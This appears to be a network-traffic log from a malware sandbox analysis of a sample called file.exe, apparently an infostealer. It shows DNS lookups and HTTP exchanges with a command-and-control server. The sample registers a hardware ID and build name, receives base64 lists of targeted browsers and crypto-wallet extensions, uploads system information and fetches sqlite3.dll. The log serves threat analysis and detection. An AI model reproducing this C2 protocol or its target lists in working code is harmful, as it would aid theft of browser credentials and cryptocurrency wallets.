Nov 24, 2024 04:20:40.918469906 CET	1.1.1.1	192.168.2.6	0x595a	No error (0)	googlehosted.l.googleusercontent.com		172.217.19.225	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:20:40.919964075 CET	1.1.1.1	192.168.2.6	0x62bf	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 04:20:42.849148989 CET	1.1.1.1	192.168.2.6	0xef1c	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 24, 2024 04:20:42.849630117 CET	1.1.1.1	192.168.2.6	0xbf4b	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:20:42.849630117 CET	1.1.1.1	192.168.2.6	0xbf4b	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:20:42.850474119 CET	1.1.1.1	192.168.2.6	0x819	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 24, 2024 04:20:42.853399038 CET	1.1.1.1	192.168.2.6	0xa1fb	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:20:42.853399038 CET	1.1.1.1	192.168.2.6	0xa1fb	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:20:42.868338108 CET	1.1.1.1	192.168.2.6	0x708a	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 24, 2024 04:20:42.868887901 CET	1.1.1.1	192.168.2.6	0x9d69	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:20:42.868887901 CET	1.1.1.1	192.168.2.6	0x9d69	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:20:43.518958092 CET	1.1.1.1	192.168.2.6	0x9954	No error (0)	g-bing-com.ax-0001.ax-msedge.net	ax-0001.ax-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 04:20:43.518958092 CET	1.1.1.1	192.168.2.6	0x9954	No error (0)	ax-0001.ax-msedge.net		150.171.27.10	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:20:43.518958092 CET	1.1.1.1	192.168.2.6	0x9954	No error (0)	ax-0001.ax-msedge.net		150.171.28.10	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:20:45.858290911 CET	1.1.1.1	192.168.2.6	0x9b08	No error (0)	sb.scorecardresearch.com		18.165.220.106	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:20:45.858290911 CET	1.1.1.1	192.168.2.6	0x9b08	No error (0)	sb.scorecardresearch.com		18.165.220.57	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:20:45.858290911 CET	1.1.1.1	192.168.2.6	0x9b08	No error (0)	sb.scorecardresearch.com		18.165.220.66	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:20:45.858290911 CET	1.1.1.1	192.168.2.6	0x9b08	No error (0)	sb.scorecardresearch.com		18.165.220.110	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:20:45.859610081 CET	1.1.1.1	192.168.2.6	0xb83b	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 04:20:45.861548901 CET	1.1.1.1	192.168.2.6	0x2dc2	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 04:20:46.094126940 CET	1.1.1.1	192.168.2.6	0xfb6f	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 04:20:46.094126940 CET	1.1.1.1	192.168.2.6	0xfb6f	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49718	185.215.113.206	80	884	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 04:20:17.599771976 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 24, 2024 04:20:18.989202023 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 04:20:18.993058920 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBFIDGIIIJDBGDGDAKKF Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 46 49 44 47 49 49 49 4a 44 42 47 44 47 44 41 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 38 44 31 32 30 34 39 36 38 44 32 33 31 30 39 39 37 33 34 39 38 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 49 44 47 49 49 49 4a 44 42 47 44 47 44 41 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 49 44 47 49 49 49 4a 44 42 47 44 47 44 41 4b 4b 46 2d 2d 0d 0a Data Ascii: ------DBFIDGIIIJDBGDGDAKKFContent-Disposition: form-data; name="hwid"58D1204968D23109973498------DBFIDGIIIJDBGDGDAKKFContent-Disposition: form-data; name="build"mars------DBFIDGIIIJDBGDGDAKKF--
Nov 24, 2024 04:20:19.461272001 CET	407	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:19 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 55 32 5a 54 46 6d 4e 44 6b 33 4e 57 55 77 4e 7a 64 6c 4e 44 45 31 5a 44 6b 78 4e 6a 4d 35 59 57 4e 6a 4f 54 55 32 4d 7a 49 77 4e 54 4d 30 4f 54 4a 69 4d 54 67 78 4e 44 63 7a 4e 7a 51 33 4d 44 49 34 4e 7a 64 6d 4e 57 4d 33 4d 6a 67 33 4d 54 4a 6a 5a 44 68 6a 4f 57 55 30 59 6a 45 77 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YmU2ZTFmNDk3NWUwNzdlNDE1ZDkxNjM5YWNjOTU2MzIwNTM0OTJiMTgxNDczNzQ3MDI4NzdmNWM3Mjg3MTJjZDhjOWU0YjEwfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 24, 2024 04:20:19.472635984 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAEGCGCGIEGDHIDHJJEH Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 65 36 65 31 66 34 39 37 35 65 30 37 37 65 34 31 35 64 39 31 36 33 39 61 63 63 39 35 36 33 32 30 35 33 34 39 32 62 31 38 31 34 37 33 37 34 37 30 32 38 37 37 66 35 63 37 32 38 37 31 32 63 64 38 63 39 65 34 62 31 30 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 48 2d 2d 0d 0a Data Ascii: ------BAEGCGCGIEGDHIDHJJEHContent-Disposition: form-data; name="token"be6e1f4975e077e415d91639acc95632053492b18147374702877f5c728712cd8c9e4b10------BAEGCGCGIEGDHIDHJJEHContent-Disposition: form-data; name="message"browsers------BAEGCGCGIEGDHIDHJJEH--
Nov 24, 2024 04:20:19.961745024 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:19 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 24, 2024 04:20:19.961767912 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 24, 2024 04:20:19.962974072 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKECAEBGHDAEBFHIEGHI Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 43 41 45 42 47 48 44 41 45 42 46 48 49 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 65 36 65 31 66 34 39 37 35 65 30 37 37 65 34 31 35 64 39 31 36 33 39 61 63 63 39 35 36 33 32 30 35 33 34 39 32 62 31 38 31 34 37 33 37 34 37 30 32 38 37 37 66 35 63 37 32 38 37 31 32 63 64 38 63 39 65 34 62 31 30 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 41 45 42 47 48 44 41 45 42 46 48 49 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 41 45 42 47 48 44 41 45 42 46 48 49 45 47 48 49 2d 2d 0d 0a Data Ascii: ------BKECAEBGHDAEBFHIEGHIContent-Disposition: form-data; name="token"be6e1f4975e077e415d91639acc95632053492b18147374702877f5c728712cd8c9e4b10------BKECAEBGHDAEBFHIEGHIContent-Disposition: form-data; name="message"plugins------BKECAEBGHDAEBFHIEGHI--
Nov 24, 2024 04:20:20.420340061 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:20 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 24, 2024 04:20:20.420372009 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 24, 2024 04:20:20.420382977 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 24, 2024 04:20:20.420474052 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 24, 2024 04:20:20.420491934 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Nov 24, 2024 04:20:20.420510054 CET	620	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Nov 24, 2024 04:20:20.630541086 CET	544	IN	Data Raw: 5a 57 52 69 61 6d 6c 76 61 58 42 6e 62 47 64 6a 59 6d 4e 74 62 6d 4a 77 5a 32 78 70 62 32 5a 38 4d 58 77 77 66 44 42 38 56 47 39 75 61 32 56 6c 63 47 56 79 49 46 64 68 62 47 78 6c 64 48 78 76 62 57 46 68 59 6d 4a 6c 5a 6d 4a 74 61 57 6c 71 5a 57 Data Ascii: ZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5
Nov 24, 2024 04:20:20.631942034 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBFCGIDAKECGCBGDBAFI Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 65 36 65 31 66 34 39 37 35 65 30 37 37 65 34 31 35 64 39 31 36 33 39 61 63 63 39 35 36 33 32 30 35 33 34 39 32 62 31 38 31 34 37 33 37 34 37 30 32 38 37 37 66 35 63 37 32 38 37 31 32 63 64 38 63 39 65 34 62 31 30 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 49 2d 2d 0d 0a Data Ascii: ------FBFCGIDAKECGCBGDBAFIContent-Disposition: form-data; name="token"be6e1f4975e077e415d91639acc95632053492b18147374702877f5c728712cd8c9e4b10------FBFCGIDAKECGCBGDBAFIContent-Disposition: form-data; name="message"fplugins------FBFCGIDAKECGCBGDBAFI--
Nov 24, 2024 04:20:21.088752985 CET	335	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:20 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 24, 2024 04:20:21.110744953 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJDGIIDHJEBGIDHJJDBK Host: 185.215.113.206 Content-Length: 7379 Connection: Keep-Alive Cache-Control: no-cache
Nov 24, 2024 04:20:21.110893011 CET	7379	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 65 36 65 31 66 Data Ascii: ------JJDGIIDHJEBGIDHJJDBKContent-Disposition: form-data; name="token"be6e1f4975e077e415d91639acc95632053492b18147374702877f5c728712cd8c9e4b10------JJDGIIDHJEBGIDHJJDBKContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 24, 2024 04:20:22.199898958 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 04:20:22.487248898 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
